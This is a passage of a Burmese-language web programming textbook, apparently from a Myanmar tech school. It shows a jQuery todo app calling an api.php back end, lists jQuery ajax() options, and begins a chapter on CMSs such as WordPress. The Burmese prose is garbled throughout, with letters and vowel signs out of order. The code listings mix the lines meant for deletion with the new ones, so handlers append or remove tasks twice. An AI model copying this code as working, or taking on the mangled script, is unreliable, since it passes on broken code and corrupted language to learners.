  $("#done input").attr("checked", "checked");
  $("h1 span").html( $("#tasks li").length );

}, "json");

get() jQuery Ajax Method ကုိြသံုးပပးီ api.php ကုိြ Request လုပလ်ိုက်ြပခငး်ပဖေစပ်ါတယ်။ Request Value
မာှ action အတက်ွြ get ကုိြထည့်သွင်းိပးထားပါတယ်။  Callback Function မာှ Respond Data ကုိြ  tasks
Variable နဲ့ လက်ြခရံေယူထားပါတယ်။ 

Callback Function အတငွး်မာှ  jQuery each() Method ကုိြသံုးပပးီ  tasks Variable  ထမဲာှရေှိိ နတဲ့  JSON
Array ကုိြ Loop လုပထ်ားပါတယ်။ each() Method အတက်ွြ Parameter နစ်ှခုိ ပးရေပါတယ်။ Loop ပပုလပုလ်ို
တဲ့ Array နဲ့ Callback Function တို့ပဖေစ်ပါတယ်။  each() ရေဲ့  ပထမ Parameter အပဖေစ် tasks ကုိြိပးထားလို့
tasks Array ကုိြ Loop လုပ်ိ ပးမာှပဖေစ်ပပးီ တစ်ကကိြမ်အလပုလ်ပုတ်ိုငး် ရေရေှိလာတဲ့ Key နဲ့ Value တို့ကုိြ  Callback
Function ရေဲ့  index နဲ့ task Variable တို့မာှ ခွဲပခားထည့်သွငး်ိပးထားမာှပဖေစ်ပါတယ်။ 

Loop  ရေဲ့  Callback  Function  အတငွး်မာှ  Task  status  ကုိြ  စစ်ိဆးထား  ပါတယ်။  Status  ကြ  1  ဆုိရေင်
buildTask() Function  ပပန်ိ ပးလာတဲ့  <li> Element  ကုိြ  #done ထဲကုိြ  ထည့်သွင်းိပးထားပါတယ်။
Status  ကြ 0 ဆုိရေင်ိ တာ့ ရေရေှိလာတဲ့  <li> Element  ကုိြ  #tasks ထကုိဲြ ထည့်သွင်းိပးထားပါတယ်။ ဒနီညး်နဲ့
Page Load လပုတ်ိုငး် tasks Table ထဲကြအချက်ြ အလက်ြိတကုိွြ ရေယူိဖောပ်ပိပးိနမာှပဖေစ်ပါတယ်။ 

ဆက်ြလက်ြပပးီ  Task  အသစ်ထည့်သွငး်လိုက်ြချနိမ်ာှ  tasks Table  ထမဲာှလညး်  သွားိရောက်ြသိမး်ဆညး်ိစဖေို့
အတက်ွြ ပဖေည့်စွက်ြိပးပါမယ။် မလူရေှိိ နပပးီသား  $("#new-task button").click() Event  ကုိြ  အခလုို
ပပငဆ်င်ိ ပးပါ။
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$("#new-task button").click(function() { 
  var task = $("#new-task input").val(); 

  if(!task) return false; 

  $.post("api.php", {action: "add", subject: task}, function(res) { 
    if( res.err == 1) {
      alert( res.msg );
    } else  {
      buildTask(task, res.id).appendTo("#tasks"); 
    }
  }, "json");

  buildTask(task).appendTo("#tasks");

  $("h1 span").html( $("#tasks li").length ); 

  $("#new-task input").val("").focus(); 
});

ပဖေည့်စွက်ြရေမယ့်အပိုငး်ကုိြ  Highlight  လုပ်ိ ပးထားပပးီ ထတုပ်ယ်ရေမယ့်အပိုငး်ကုိြ  Strikeout  လပု်ိ ပးထားပါတယ်။
api.php ကုိြ post() Method သံုးပပးီ Request လပုထ်ားပါတယ။် Request Data အိနနဲ့ action အတက်ွြ
add နဲ့  subject အတက်ွြ  task Variable  တို့ကုိြသတမ်တှ်ိ ပးပါတယ်။  Respond Data  ကုိြိတာ့  Callback
Function မာှ res Variable နဲ့လက်ြခထံား ပါတယ်။

ဒီ  Request  ကုိြလက်ြခရံေရေှိတဲ့အခါ  action တနဖ်ေိုးကြ  add ပဖေစ်ိနတဲ့အတက်ွြ  api.php ရေဲ့  add_task()
Function ကုိြ အလပုလ်ပု်ိ ပးသွားမာှပဖေစ်ပါတယ်။ add_task() Function  ကြ INSERT လုပ် ငနး်ိအာငပ်မငရ်ေင်
err နဲ့  id Index နစ်ှခပုါဝငတ်ဲ့  Array တစ်ခပုပန်ိ ပးထားပါတယ်။ err တနဖ်ေိုးကြ 0 ပဖေစ်ပပးီ id တနဖ်ေိုးကြိတာ့
လက်ြတစ်ိလာထည့်သွငး်လိုက်ြတဲ့  Record ID ပဖေစ်ပါ တယ်။ INSERT Query မမနှရ်ေင်ိ တာ့  err နဲ့  msg ဆုိတဲ့
Index  နစ်ှခပုါဝငတ်ဲ့  Array  တစ်ခပုပန်ိ ပးပါတယ်။  err တနဖ်ေိုးကြ  1  ပဖေစ်မာှပဖေစ်ပပးီ  msg မာှိတာ့  Task  ကုိြ  မ
ထည့်သွငး်နိုင်ိ အကြာငး် Message တစ်ခပုါ။

ဒါိအကြာင့် post() Ajax Method ရေဲ့  Callback Function ထဲမာှ res ရေဲ့  err ကုိြ စစ်ိဆးပပးီ err ရေှိရေင် msg
ကုိြ  Alert  Box  နဲ့ိ ဖောပ်ပိစပပးီ  err မရေှိိ တာမ့ှ  buildTask() Function  ကုိြ  ိခါ်ယူထားပါတယ်။  ဒနီညး်နဲ့
Task  တစ်ခထုည့်သွငး်လိုက်ြတိုငး် ိဖောပ်ပိနတဲ့  List  ထမဲာှ  Item တစ်ခတုိုးလာသလို  tasks Table  ထဲကုိြလညး်
Record အသစ်အိနနဲ ့ဝင်ိ ရောက်ြသွားိစမာှပဖေစ်ပါတယ်။

ဆက်ြလက်ြပပးီ  Task ိတကုိွြ Delete လပုလ်ိုက်ြရေင်  tasks Table ထဲကြိနပါ ပယ်ဖေျက်ြသွားိစမယ့် Request ကုိြ
ပဖေည့်စွက်ြိပးပါမယ်။  buildTask() Function  ကုိြ  ပပုပပငရ်ေမာှပဖေစ်ပါတယ်။  ပပငလ်က်ြစနဲ့  Task  ိတကုိွြ
ိဆာငရ်ေက်ွြ  ပပးီစးီိအကြာငး်  မတှသ်ားပခငး်၊  မပပးီစီးိသးိအကြာငး်  ပပနလ်ညမ်တှသ်ားပခငး်  လုပ်ိ ဆာငခ်ျက်ြများကုိြပါ
တစ်ခါတညး် ပဖေည့်စွက်ြ ချငပ်ါတယ်။ အခလုို ပပငဆ်င်ိ ပးပါ။
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function buildTask(msg, id) { 
  var checkbox = $("<input>", { 
    type: "checkbox" 
  }).click(function() {

    var task = $(this).parent(); 
    var task_id = task.data("id"); 
    if($(this).is(":checked")) { 
      $.post("api.php", {action: "done", id: task_id}, function() { 
        task.prependTo("#done"); 
        $("h1 span").html( $("#tasks li").length ); 
      }); 
    } else { 
      $.post("api.php", {action: "undo", id: task_id}, function() { 
        task.appendTo("#tasks"); 
        $("h1 span").html( $("#tasks li").length ); 
      }); 
    } 

    if($(this).is(":checked")) {
      $(this).parent().prependTo("#done"); 
    } else {
      $(this).parent().appendTo("#tasks");
    }

    $("h1 span").html( $("#tasks li").length );

  });

  var task = $("<span>").html(msg); 

  var del = $("<a>", { 
    href: "#" 
  }).html("&times;").click(function() { 

    var task = $(this).parent();
    var task_id = task.data("id"); 
    $.post("api.php", {action: "del", id: task_id}, function(res) {
   task.remove(); 
   $("h1 span").html( $("#tasks li").length ); 
    }, "json"); 
    $(this).parent().remove();
    $("h1 span").html( $("#tasks li").length );

  }); 

  return $("<li>").data("id", id) 
                  .append(checkbox) 
                  .append(task) 
                  .append(del); 
}

ပဖေည့်စွက်ြထားတဲ့အပိုငး်ကြို Highlight လုပ်ိ ပးထားပပးီ ထုတပ်ယ်ရေမယ့အ်ပိုင်းကုိြ Strikeout လုပ်ိ ပးထားပါတယ်။
လပု်  ိဆာငခ်ျက်ြတိုငး်အတက်ွြ  post() Method  ကုိြယ်စီသံုးပပီး  api.php ကုိြ  Request  လုပထ်ားပါတယ်။
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ထးူပခားချက်ြကြိတာ့ Request Data ထမဲာှ <li> Element ရေဲ့  data-id ကုိြရေယူပပးီ ထည့်သွင်းိပးထားပခင်း ပဖေစ်
ပါ  တယ်။ အလပုလ်ပုပ်ုံကုိြ  တစ်ခခုျငး်လိုက်ြရေငှး်ိနမှ  ပိုရှုပသွ်ားနိုငပ်ါတယ်။ ပပငဆ်ငလ်ိုက်ြတဲ့  Code  ကုိြသာ ဖေတရ်ှု
ိလလ့ာ အကြည့်ိ စချငပ်ါတယ်။

အခုဆုိရေင ်ကြျွန်ိ တာတ်ို့ရေဲ့  Todo List App ဟာ အချက်ြအလက်ြများကုိြလညး် အပမသိဲမး်ဆည်းိပးထား နိုငတ်ဲ့ App
တစ်ခပုဖေစ်သွားပပီ ပဖေစ်ပါတယ်။ ဒအီခန်းမာှ  Server-side Script အိနနဲ့ ပဖေည့်စွက်ြလိုက်ြတဲ့ API Script ကြ အများ
ကကီြး လပုမ်ိပးပါဘးူ။ ိပးပိုလ့ာတဲ့  Data  ကုိြ  Database Table  ထဲမာှ  သိမး်ဆည်ိ ပးပခငး်ကုိြသာ ိဆာငရ်ေက်ွြပပီး
အများစုပဖေစ်တဲ့  Interface  ပိုငး်နဲ့  Request  ပပုလပုတ်ဲ့  လုပ်ိ ဆာငခ်ျက်ြများကုိြ  JavaScript,  DOM  နဲ့  XHR  တို့
ိပါငး်စပ် တည်ိ ဆာက်ြထားပခင်း ပဖေစ်ပါတယ်။ h  ttp://localhost/todo/   လို့ Browser URL Bar မာှ ထည့်သွငး်ပပးီ
စမး်သပ်အကြည့် နိုငပ်ါပပ။ီ

9.7 - Other jQuery Methods
jQuery မာှ get() နဲ့  post() အပပင် အပခား Ajax Method များ ကြျနရ်ေှိပါိသးတယ်။ အ့ဲဒထီကဲြ getJSON()
Method ကြိတာ ့Respond Data ကုိြ JSON အပဖေစ်လက်ြခတံဲ့ Method တစ်ခပုဖေစ်ပါတယ်။ ဥပမာ - 

$.getJSON("api.php", {action: "get"});

- လိုိ့ ရေးသားပခငး်ဟာ  - 

$.get("api.php", {action: "get"}, "json");

-  လ့ုိိရေးသားပခငး်နဲ့တညူပီါတယ်။ လိုအပရ်ေငအ်သံုးပပုနိုငပ်ါတယ်။ ဒါိပမယ့်  Request Method  အိနနဲ့  GET နဲ့
POST တို့ကုိြ လုိသလိုသံုးရေမာှမို့  GET အတက်ွြနညး်လမး်တစ်မျို းနဲ့ိ ရေးသားပပးီ  POST အတက်ွြနညး်လမး် ိနာက်ြ
တစ်မျို းနဲ့  ိရေးမယ့်အစား  ိရေးသားပုံတညူသွီားိအာင်  get() နဲ့  post() တို့ကုိြပသံုဲးလိုက်ြတာကြ  ပိုအဆင်ိ ပပ
တယ်လို့ယူဆပါတယ်။ ိနာက်ြတစ်ခကုြိတာ့  getScript() ပဖေစ်ပါတယ်။ Respond Data အိနနဲ့  JavaScript
ကုိြလက်ြခပံပးီ တစ်ခါ တညး် Run ိပးတဲ့ Method ပဖေစ်ပါတယ်။

$.getScript("js/somescript.js");

- လိုိ့ ရေးသားပခငး်ဟာ - 

$.get("js/somescript.js", "script");

လိုိ့ ရေးသားပခငး်နဲတ့ညူပီါတယ်။ 

http://localhost/todo/
http://localhost/todo/
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ိနာက်ြတစ်ခကုြိတာ့  load() ပဖေစ်ပါတယ်။  သူကြိတာ့  DOM  Selector  နဲ့တွဲသံုးရေပါတယ။်  လက်ြခရံေရေှိတဲ့
Respond Data ကုိြ Select လပုထ်ားတဲ့ Element ထကုိဲြ တစ်ခါတညး်ထည့်သွင်းိပးပါတယ်။ ဥပမာ - 

$("#note").load("data.php", {id: 123});

ိနာက်ြဆံုးတစ်ခကုြိတာ့  ajax() Method  ပဖေစ်ပါတယ်။ အမနှ်ိ တာ့  ajax() ဟာ  jQuery  ရေဲ့  အဓကိြ  Ajax
Function  ပဖေစ်  ပါတယ်။  Request  နဲ့ပတသ်က်ြတဲ့  Setting   အိသးစိတသ်တမ်တှန်ိုငတ်ဲ့အတက်ွြ  Low-level
Interface  လ့ုိိခါ်ပါတယ်။  ကြျွန်ိ တာတ်ို့  အသံုးပပုခဲ့တဲ့   get() နဲ့  post() တို့ဟာ  ajax()  Method  ကုိြ
တစ်ဆင့်သံုးထားတဲ့ အတိုိ ကြာက်ြိရေးနညး်များ ပဖေစ်အကြပါတယ်။

ိရေးသားပုံနမနူာကြ အခလုိုပါ - 

$.ajax({ 
  url: "api.php", 
  data: "action=get", 
  type: "get",
  success: function() {
    // do something on success 
  }, 
  dataType: "json"
});

Request  အတက်ွြအသံုးပပုလိုတဲ့  Setting အားလုံးကုိြ  JSON အိနနတဲွဲဖေက်ြသတမ်တှ် ိပးလိုက်ြပခငး် ပဖေစ်ပါတယ်။
သတမ်တှလ်ို့ရေတဲ့  Setting  Option  ိတအွများကကီြး  ရေှိပါတယ်။  အ့ဲဒထီကဲြ  မတှသ်ားသင့်တဲ့  Option  တစ်ချို ့ကုိြ
ိရေးွထတု ်ိဖောပ်ပိပးပါမယ် -

beforeSend - Request  မပို့လတွမ်ီ ိဆာငရ်ေက်ွြိစလိုတဲ့ လုပ်ိ ဆာငခ်ျက်ြများရေှိတဲ့  beforeSend Option နဲ့
သတမ်တှထ်ားနိုငပ်ါတယ်။ တနဖ်ေိုးအိနနဲ့  Function တစ်ခကုိုြ သတမ်တှ်ိ ပးရေမာှပဖေစ်ပါတယ်။

complete - Request/Respond (ိအာငပ်မငသ်ညပ်ဖေစ်ိစ မိအာငပ်မငသ်ညပ်ဖေစ်ိစ) ပပးီစီးသွားချနိမ်ာှ ိဆာငရ်ေက်ွြ
ိစလိုတဲ့  လပု်ိ ဆာငခ်ျက်ြိတကုိွြ  complete Option  နဲ့သတမ်တှထ်ားနိုငပ်ါတယ်။  သူလညး်ပဲ  တနဖ်ေိုးအိနနဲ့
Function တစ်ခကုိုြ သတမ်တှ်ိ ပးရေမာှပါ။

data -  Request  Data  ိတကုိွြ  data Option  နဲ့  သတမ်တှ်ိ ပးထားနိုငပ်ါတယ်။  သတမ်တှတ်ဲ့အခါ   Query
String ပုံစံနဲ့သတမ်တှန်ိုငသ်လို၊  JSON အိနနဲ့လညး် သတမ်တှန်ိုငပ်ါတယ်။

dataType -  Respond Data Type  သတမ်တှဖ်ေို့သံုးနိုငပ်ါတယ်။ သတမ်တှန်ိုငတ်ဲ့  တနဖ်ေိုးိတကွြိတာ့  json,
xml, script နဲ့ html တို့ပပဲဖေစ်ပါတယ်။ မသတမ်တှခ်ဲ့ရေင် Response Header မာှပါဝငလ်ာတဲ့ Content-type
ကုိြ အကြည့်ပပးီ  jQuery  ကြ အလိုအိလျှာက်ြသတမ်တှသွ်ားမာှပဖေစ်ပါတယ်။ ထူးပခားချက်ြအိနနဲ့  jsonp ဆုိတဲ့  Data
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Type တစ်ခရုေှိပါတယ်။ သူကြ json ပါပ။ဲ ဒါိပမယ့် Domain မတတူဲ့ Request ိတပွပုလပုလ်ိုတဲ့အခါမာှ အသံုးပပု
ရေပါတယ်။ Ajax ကြ သဘာဝအရေ Cross-Domain Request လ့ုိိခါ်တဲ့ Domain မတတူဲ့ Request ိတကုိွြ လက်ြခံ
ိလမ့ရေှိပါဘးူ။ jsonp Data Type ကုိြ အသံုးပပုလိုက်ြရေင် Cross-domain Request ိတ ွပပုလပုန်ိုငသွ်ားမာှပဖေစ်ပါ
တယ်။

error - Request မိအာငပ်မငတ်ဲ့အခါ ိဆာငရ်ေက်ွြိစလိုတဲ့ လပု်ိ ဆာငခ်ျက်ြိတကုိွြ error Option နဲ့ သတမ်တှ်
ထားနိုငပ်ါတယ်။ တနဖ်ေိုးအိနနဲ့ Function တစ်ခသုတမ်တှ်ိ ပးရေမာှပါ။

password –  HTTP  Authentication  သံုးပပီးကြန့်သတထ်ားတဲ့  အပိုင်းိတကုိွြ  Request  လုပလ်ိုတဲ့အခါ
Password ကုိြ Request နဲ့အတတူွဲဖေက်ြိပးဖေို့ အသံုးပပုနိုငပ်ါတယ်။ 

statusCode - Respond Code အလိုက်ြ သီးပခားလပု်ိ ဆာငခ်ျက်ြိတ ွသတမ်တှလ်ိုတဲ့အခါ အသံုးပပုနိုငပ်ါတယ်။
Code တစ်ချငး်အလိုက်ြ Function ိတသွတမ်တှထ်ားနိုငပ်ါတယ်။ ဥပမာ - 

$.ajax({ 
  url: "some/url", 
  statusCode: { 
    404: function() { 
      // ... 
    }, 
    403: function() { 
      // ... 
    }, 
    500: function() { 
      // ... 
    } 
  } 
});

success -  Request  ိအာင်ိ အာငပ်မငပ်မင်  ပပုလပုန်ိုငတ်ဲ့အခါ  ိဆာငရ်ေက်ွြိစလိုတဲ့  လပု်ိ ဆာငခ်ျက်ြိတကုိွြ
သတမ်တှ်  ထားနိုငပ်ါတယ်။  complete နဲ့မတတူာကြ  သူကြိတာ့  Request  ိအာငပ်မငမ်သှာ  ိဆာငရ်ေက်ွြမယ့်
Option ပဖေစ်ပါ တယ်။ တနဖ်ေိုးအိနနဲ့ Function သတမ်တှ်ိ ပးရေမာှပါ။

timeout - Request တစ်ခအုတက်ွြ အပမင့်ဆံုးခငွ့်ပပုအကြာချနိကုိ်ြ timeout Option နဲ့ သတမ်တှထ်ားနိုငပ်ါတယ်။
တနဖ်ေိုးကုိြ Millisecond နဲ့ိ ပးရေပါတယ်။

type -  type Option  ကုိြိတာ့  GET, POST, PUT, DELETE စတဲ့  Request  Method  သတမ်တှ်ိ ပးဖေို့
အသံုးပပုနိုငပ်ါတယ်။

url - Request ပပုလပုလ်ိုတဲ့ URL သတမ်တှဖ်ေိုအ့တက်ွြ အသံုးပပုရေပါတယ်။
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username -  HTTP Authentication  နဲ့  ကြန့်သတထ်ားတဲ့  အပိုငး်ိတကုိွြ  Request  ပပုလပုလ်ိုတဲ့အခါ  User
Name ကုိြ Request နဲ့အတတူွဲဖေက်ြိပးဖေို့ အသံုးပပုနိုငပ်ါတယ်။

Setting ိတကုိွြ လုိအပသ်လို အမျို းမျို းသတမ်တှန်ိုငတ်ဲ့အတက်ွြ အိသးစိတသ်တမ်တှဖ်ေို့လိုတဲ့ Request ိတအွတက်ွြ
ajax() Method အသံုးပပုနိုငမ်ာှပဖေစ်ပါတယ်။ ဥပမာ - PUT နဲ့ DELETE လို Request Method ိတ ွသံုးဖေို့လိုလာ
ပပ ီဆုိရေင် get() post() တို့နဲအ့ဆငမ်ိပပိတာပ့ ဲ ajax() ကုိြ အသံုးပပုရေမာှပဖေစ်ပါတယ်။ 

Conclusion
အခခုျနိမ်ာှ  Web Development  မာှ အဓကိြအသံုးပပုတဲ့ နညး်စနစ်ပိငုး်ိပပာငလ်ဲိ နခဲ့ပါပပ။ီ အရေငက်ြ  Server-side
Script  ိတကွြ  အဓကိြနညး်ပညာပဖေစ်ခဲ့ပပးီ  App  တစ်ခလုုံးရေဲ့  Domain  Logic  ကြိန Template  ိတ ွ User
Interface  ိတအွထိ  Server-side  Script  များကြပဲ  အားလုံးတာဝနယူ်ခဲ့အကြပါတယ်။  အခခုျနိမ်ာှိတာ့  App  ရေဲ့
လပု်ိ ဆာင် ချက်ြအများစုကုိြ  JavaScript နဲ့တည်ိ ဆာက်ြလာအကြပပးီ  Server-side Script ဆုိတာ ကြျွန်ိ တာတ်ို့ နမူ
နာမာှ  အသံုးပပုခဲ့သလို   Data Persistence  ပိုငး်  တာဝနယူ်တဲ့  အလပုတ်စ်ခကုိုြပဲ  အဓကိြလပု်ိ ပးလာအကြပါတယ်။
Server-side ရေဲ့တာဝနက်ြ Data လက်ြခသိံမ်းဆညး်ဖေိုပ့ပဲဖေစ်လာပပးီ အပခားလပု်ိ ဆာငခ်ျက်ြိတကွြ Client-side ဘက်ြ
ကုိြ ိရေွ့လာတဲ့သိဘာပဖေစ်ပါ တယ်။

ဒါိပမယ့်လညး် Server-side ရေဲ့  အခနး်ကြဏကြလညး် သူိနရောနဲ့သူိတာအ့ိရေးပါိနဆဲပါ။  Ajax App အပဖေစ် အ
ပမစံဲနမနူာယူရေတဲ့ Gmail ကုိြပအဲကြည့်ပါ။ သူမ့ာှ Standard View နဲ့ HTML View ဆုိပပးီ Interface နစ်ှခရုေှိပါတယ်။
Gmail  HTML  View  ဟာ  ရုိးရိုး  Server-side  Script  အိပခပပု  Interface  တစ်ခသုာပဖေစ်ပါတယ။်  Ajax
Interface ိလာက်ြလပု်ိ ဆာငခ်ျက်ြိတ ွပပည့်စံုပခင်းမရေှိိ ပမယ့် တစ်ခါတစ်ရေမံာှ HTML Interface ကြလညး်ရုိးရေငှး်
ပမနဆ်နပ်ပီး သူ့ိ နရောနဲ့သူ အားသာချက်ြ ိတရွေှိိ နပါတယ်။

တည်ိ ဆာက်ြမယ့်  App  လုိအပခ်ျက်ြအလိုက်ြ  Client-side  နဲ့  Server-side  ကုိြ  သင့်ိ တာသ်လိုတွဲဖေက်ြအသုံးပပု
တည်ိ ဆာက်ြသွားအကြရေမာှပပဲဖေစ်ပါတယ်။



          Fairway Tech School               

နညး်ပညာသင်တနး်ိကြျာင်းတွင် Web, Mobile နှင့် Design ဆုိင်ရော               

ဘာသာရေပ်များအား အိပခခံမှအဆင့်ပမင့်ထ ိသင်အကြားိပးလျကြရ်ေှိသည ်              

ဆကြသွ်ယရ်ေန် -  (၀၉) ၂၅၂ ၄၂၆ ၃၈၈               

www.fairway.com.mm               

http://www.fairway.com.mm/
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အခနး် (၁၀) Content Management System - CMS
WordPress ိခါ် လယွက်ြအူသံုးဝင်သည့် CMS အိအကြာင်း

Content Management System (အတိုိ ကြာက်ြ CMS) နညး်ပညာဟာ အိပခခအံားပဖေင့် Website တစ်ခမုာှပါဝင်
တဲ့  အချက်ြအလက်ြများကုိြ  Website  ိရေးသားနညး်မတက်ြကြျွမ်းတဲ့သာမာနအ်သံုးပပုသူများ  အလယ်ွတစ်ကူြစီမနံိုင်
ိအာင ်ဖေနတ်းီိပးထားတဲ့ စနစ်တစ်မျို း ပဖေစ်ပါတယ်။ 

ပုံ (၁၀-ကြ) Front-End and Back-End Interfaces of CMS

CMS  ိတဟွာလညး်  အမနှ်ိ တာ့  Web  App  တစ်မျို းပဖေစ်ပါတယ်။  သူမ့ာှ  Front-End  နဲ့  Back-End  ဆုိပပးီ
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Interface  ကုိြ  ခွဲပခားထားိပးိလရ့ေှိပါတယ်။  Front-End  ကြိတာ့  အများအသံုးပပုနိုငရ်ေန်  အတက်ွြပဖေစ်ပပးီ  Back-
End  ကြိတာ့  Website  မာှပါဝငတ်ဲ့  အချက်ြအလက်ြများကုိြ စီမနံိုငတ်ဲ့  Interface  ပဖေစ်ပါတယ်။ ဒါိအကြာင့် အိပခခံ
အားပဖေင့်  Front-End Interface  ကုိြ မညသူ်မဆုိအသံုးပပုနိုငပ်ပီး  Back-End  ကုိြိတာ့ အခငွ့်ရေှိတဲ့  Web Master  မှ
သာအသံုးပပု ခငွ့်ရေိအာင်  Password  နဲ့ ကြာကွြယ် ထားမာှပဖေစ်ပါတယ်။  ပုံ  (၁၀-ကြ) မာှလညး် ဒသီိဘာကုိြိဖောပ်ပ
ထားပါတယ်။

CMS  ိတကွြ  Website  မာှပါဝငတ်ဲ့  အချက်ြအလက်ြများပပငဆ်ငပ်ခင်းအပပင၊်  User  Account  များကုိြစီမပံခငး်၊
Content Meta  လိုိ့ ခါ်တဲ့  Category  များ၊  Tag  များစီမပံခင်း၊  အသံုးပပုသူိတထွည့်သွငး်တဲ့ အချက်ြအလက်ြများ
(ဥပမာ  -  Comment  များ)  စီမပံခငး်၊  Website  Design  နဲ့  Layout  စီမပံခငး်စတဲ့  လပု်ိ ဆာငခ်ျက်ြများကုိြလညး်
ိဆာငရ်ေက်ွြနိုင ်ိအာင ်စီစဉထ်ားိပးအကြိလ ့ရေှိပါတယ်။

10.1 - Popular CMS
CMS ိတထွမဲာှ အထငရ်ောှးဆံုးနဲ့ လသံုူးအများဆုံး CMS (၃) ခရုေှိပါတယ်။ အ့ဲဒါိတကွြိတာ့ WordPress, Joomla
နဲ့  Drupal  တို့ပပဲဖေစ်ပါတယ်။  ဒီ  (၃)  ခလုုံးကြ  Open  Source  နညး်ပညာိတပွဖေစ်ပပးီ  PHP/MySQL  အသံုးပပု
တည်ိ ဆာက်ြ ထားအကြတာပါ။

WordPress,  Joomla,  Drupal  တို့ကုိြ  General  Purpose  CMS  လ့ုိိခါ်ချငပ်ါတယ်။  ဘာပဖေစ်လို့လဆုိဲိတာ့  ဒီ
CMS  ိတနွဲ့  ကုြမ္ပဏအီဖေွဲအစညး်အမျို းမျို းတက်ွြ  Website  ိတ၊ွ  Web  Portal  ိတ၊ွ  သတငး်မဒီယီာအမျို းမျို း
အတက်ွြ  Website  ိတကွြိန E-Commerce Website  ိတအွထဖိေနတ်းီနိုငလ်ို့ပဖေစ်ပါတယ်။  General Purpose
အတက်ွြမဟတုပ်ဲ ကြဏတစ်ခအုတက်ွြ သီးပခား ရေညရ်ေယ်ွထားတဲ့ CMS ိတလွညး်ရေှိပါိသးတယ်။

ဥပမာ  - Vanilla  Forum  က့ဲြသုိစ့နစ်မျို း အသံုးပပုပပီး အငတ်ာနက်ြဖေိုရေမ်ိ တ ွတည်ိ ဆာက်ြနိုငပ်ါတယ်။  Elgg  လုိ
စနစ်မျို းနဲ့ Social Network ိတ ွတည်ိ ဆာက်ြနိုငပ်ါတယ်။ MediaWiki လိုစနစ်မျို းနဲ့ Wikipedia က့ဲြသုိ့ Online
Knowledge Base  ိတတွည်ိ ဆာက်ြနိုငပ်ါတယ်။  Moodle  လုိစနစ်မျို းနဲ့  Online Education Platform  ိတွ
တည်ိ ဆာက်ြနိုငပ်ါ တယ်။ Magento လုိစနစ်မျို းနဲ့ E-Commerce စနစ်ိတ ွOnline Store ိတ ွတည်ိ ဆာက်ြနိုင်
ပါတယ်။ ဒါိတအွားလုံး ဟာလညး် CMS လ့ုိိခါ်ဆုိနိငုတ်ဲ့ စနစ်ိတပွပဲဖေစ်ပပးီ  WordPress, Joomla, Drupal  တို့
လို  နယ်ပယ်စံုအတက်ွြ  Website  ိတတွည်ိ ဆာက်ြနိုငဖ်ေို့  မဟတုပ်ဲ  သက်ြဆိုငရ်ောကြဏတစ်ခအုတက်ွြသာ  သီးပခား
ရေညရ်ေယ်ွထားတဲ့ CMS ိတပွဖေစ်အကြပါတယ်။

PHP  နဲ့  Open  Source  နညး်ပညာများထကဲြ  အချို ့ကုိြသာိရေးွထတု်ိ ဖောပ်ပခဲ့တာပါ။  Open  Source  မဟတုတ်ဲ့
Commercial PHP CMS ိတရွေှိပါိသးတယ်။ အပခား Python, .NET, Java စတဲ့ နညး်ပညာများနဲတ့ည ်ိဆာက်ြ
ထား တဲ့  CMS  ိတရွေှိအကြပါိသးတယ်။ တစ်ချို ့လညး်  Open Source  ပဖေစ်ပါတယ်။ တစ်ချို ့လညး်  Commercial
ပဖေစ်တဲ့အတက်ွြ အခိအကြးိငနွဲဝ့ယ်ယူရေပါတယ်။ 

ဒီ  CMS  ိတရွေဲ့အကူြအညနီဲ့ ကြိန့ိ ခတမ်ာှ  "Website  ဆုိတာ မညသူ်မဆုိတည်ိ ဆာက်ြနိုငတ်ယ်"  ဆုိတဲ့ သိဘာ
မျို း ပဖေစ်ိနပါပပ။ီ ဒါိပမယ့် ိယဘယုျအားပဖေင့်ိ ပပာတာပါ။ လက်ြိတွ့မာှ CMS ိတဘွယ်ိလာက်ြိပါိပါ၊ အသံုးပပုရေ
ဘယ်ိလာက်ြလယ်ွလယ်ွ အမနှတ်စ်ကြယ်ပပည့်စံုိကြာငး်မနွတ်ဲ့ Website တစ်ခတုည် ိဆာက်ြဖေို့အတက်ွြ ထိုက်ြသင့်တဲ့
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နညး်ပညာကြျွမး်ကြျငမ်ှု တ ွ လုိအပပ်ါတယ်။  တည်ိ ဆာက်ြတဲ့အပိုငး်ကုိြ  Web  Developer  များကြသင့်ိ တာတ်ဲ့
CMS များိရေးွချယ်ပခငး်၊ တစ်ချို ့လိုအပတ်ဲ့အပိုင်းိတ ွကုိြယ်တိုငပ်ဖေည့်စွက်ြ ိရေးသားပခငး်အားပဖေင့် တည်ိ ဆာက်ြိပးရေ
ပပးီ၊  Website မာှပါဝငတ်ဲ့အချက်ြအလက်ြိတ ွစီမတံဲ့အပိုငး်ကုိြသာ CMS ိတအွကူြအညနီဲ့  Website ိရေးသားနညး်
နားမလညသူ်များလ ဲိဆာငရ်ေက်ွြနိုငလ်ာပခငး်ပဖေစ်ပါတယ်။

Links:
• WordPress - http://wordpress.org/
• Joomla - http://www.joomla.org/
• Drupal - http://drupal.org/
• Vanilla - http://vanillaforums.org/
• Elgg -  http://elgg.org/
• MediaWiki - http://www.mediawiki.org/
• Moodle - http://moodle.org/
• Magento - http://magentocommerce.com/

10.2 - WordPress
WordPress ဟာ လက်ြရေှိမာှ Website ိပါငး် သနး် (၆၀) ိလာက်ြကြအသံုးပပုထားတဲ့ အသံုးအများဆုံး CMS တစ်
ခပုဖေစ်ပါတယ။် Matt Mullenweg နဲ့  Mike Little လို့အမညရ်ေတဲ့ Developer (၂) ဦးကြ စတငတ်ည်ိ ဆာက်ြခဲ့အကြ
ပခငး်  ပဖေစ်ပပးီ  ပထမဆံုး  Version  ကုိြ  ၂၀၀၃ ခနုစ်ှ  ိမလမာှိအကြပငာခဲ့ပါတယ်။ ဒစီာိရေးသားိနစဉမ်ာှ  ိနာက်ြဆံုး
ထက်ွြရေှိထားတဲ့ Version ကြိတာ ့WordPress 4.6.1 ပဖေစ်ပါတယ်။

၂၀၀၄ ခနုစ်ှမာှ အ့ဲဒအီချနိက်ြအိတာ်ိ လးိကြျာအ်ကြားတဲ့ Blog Platform တစ်ခပုဖေစ်တဲ့ Movable Type ရေဲ့  လိုငစ်င်
အိပပာငး်အလဲိ အကြာင့်  Movable  Type  အသံုးပပုိနသူ  User  အိတာမ်ျားများကြ  WordPress  ကုိြ  ိပပာငး်လဲ
အသံုးပပု လာအကြရောကြိန ပိုမိုထငရ်ောှးလာခဲ့ပါတယ်။ အိစာပိုငး်ကြာလိတကွြ WordPress ရေဲ့  ဖေွဲစညး်ပုံဟာ ခပရ်ိုးရိးု
